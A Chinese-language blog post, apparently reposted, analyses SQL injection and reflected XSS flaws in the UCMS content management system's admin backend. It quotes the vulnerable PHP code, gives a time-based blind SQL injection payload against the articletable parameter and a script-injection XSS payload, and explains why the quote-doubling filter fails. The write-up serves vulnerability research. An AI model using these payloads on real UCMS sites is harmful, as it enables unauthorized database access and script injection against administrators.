码迷,mamicode.com
首页 > 其他好文 > 详细

UCMS后台注入

时间:2017-10-02 23:48:55      阅读:286      评论:0      收藏:0      [点我收藏+]

标签:unset   rip   string   where   username   c_str   user   href   src   

全局过滤没什么用

function _stripslashes() {
    if (!function_exists(‘get_magic_quotes_gpc‘) || get_magic_quotes_gpc()==0){Return false;}
    if (isset($_GET)){$_GET=_stripslashes_deep($_GET);}
    if (isset($_POST)){$_POST=_stripslashes_deep($_POST);}
    if (isset($_COOKIE)){$_COOKIE=_stripslashes_deep($_COOKIE);}
    unset($_REQUEST);
}
function _stripslashes_deep($value) {
     if (empty($value)){
        return $value;
    }else{
        return is_array($value) ? array_map(‘_stripslashes_deep‘, $value) : stripslashes($value);
    }
}

定义和用法

stripslashes() 函数删除由 addslashes() 函数添加的反斜杠。

在ucms/ajax.php中

if($_GET[‘do‘]==‘listcheckboxchange‘) {
    $cid=intval($_POST[‘cid‘]);
    $articleid=intval($_POST[‘articleid‘]);
    $articletable=($_POST[‘articletable‘]);
    $status=intval($_POST[‘status‘]);
    $field=dbstr($_POST[‘field‘]);
    if(preg_match("/^[a-z][a-z0-9_]+$/",$articletable)) {
        die(‘articletable error‘);
    }
    $query = $GLOBALS[‘db‘] -> query("SELECT * FROM ".tableex(‘channel‘)." where cid=‘$cid‘ limit 1");
    $link = $GLOBALS[‘db‘] -> fetchone($query);
    if($link[‘ifshowadmin‘]==0) {die(‘channel error‘);}
    $csetting=json_decode($link[‘csetting‘],1);
    if(isset($csetting[‘listnoedit‘]) && $csetting[‘listnoedit‘]==1) {die(‘no edit‘);}
    if(empty($articletable)) {
        $articletable=$csetting[‘articletable‘];
    }
    if(!power(‘s‘,$cid,$power,2)) {die(‘power error‘);}
    $delsql=‘‘;//如果栏目开通了普通用户只能管理自己的文章
    if(power(‘sadmin‘,0) || power(‘s‘,$cid,$power,5)) {}else {if(isset($csetting[‘listadminuid‘]) && $csetting[‘listadminuid‘]==1) {$delsql=" and adminuid=‘$myadminuid‘";}}
    $query = $GLOBALS[‘db‘] -> query("SELECT * FROM $articletable where id=‘$articleid‘ and cid=‘$cid$delsql limit 1");

废话不多说直接上payload

cid=1&articletable=ucms_admin where id=1 and sleep(10)%23

技术分享

 其实他的做法还是有点巧妙的

虽然上面的过滤没用

SELECT * FROM ucms_admin where username=‘admin‘‘or 1%23‘ and psd=‘67b5054d1cd984ade85f52f8175005fe‘
if(isset($_POST[‘uuu_username‘])) {
    if($login_error_time<=$try_time) {
        $username=trim(dbstr($_POST[‘uuu_username‘]));
        $password=password_md5(trim($_POST[‘uuu_password‘]));
        $query = $GLOBALS[‘db‘] -> query("SELECT * FROM ".tableex(‘admin‘)." where username=‘$username‘ and psd=‘$password‘");
        $link = $GLOBALS[‘db‘] -> fetchone($query
function dbstr($str){
    global $site_db;
    $str=str_replace("‘","‘‘",$str);
    if($site_db[‘database‘]==‘mysql‘ || $site_db[‘database‘]==‘mysqlpdo‘) {
        $str=str_replace(‘\\‘,‘\\\\‘,$str);
    }
    return $str;
}

把一个单引号变成俩了这样注入就GG了

除了注入还有多处反射xss 然并软都是后台操作hhhhh

cid=1&strdefault=1"><script>alert(1);</script>

技术分享

 

UCMS后台注入

标签:unset   rip   string   where   username   c_str   user   href   src   

原文地址:http://www.cnblogs.com/test404/p/7622943.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!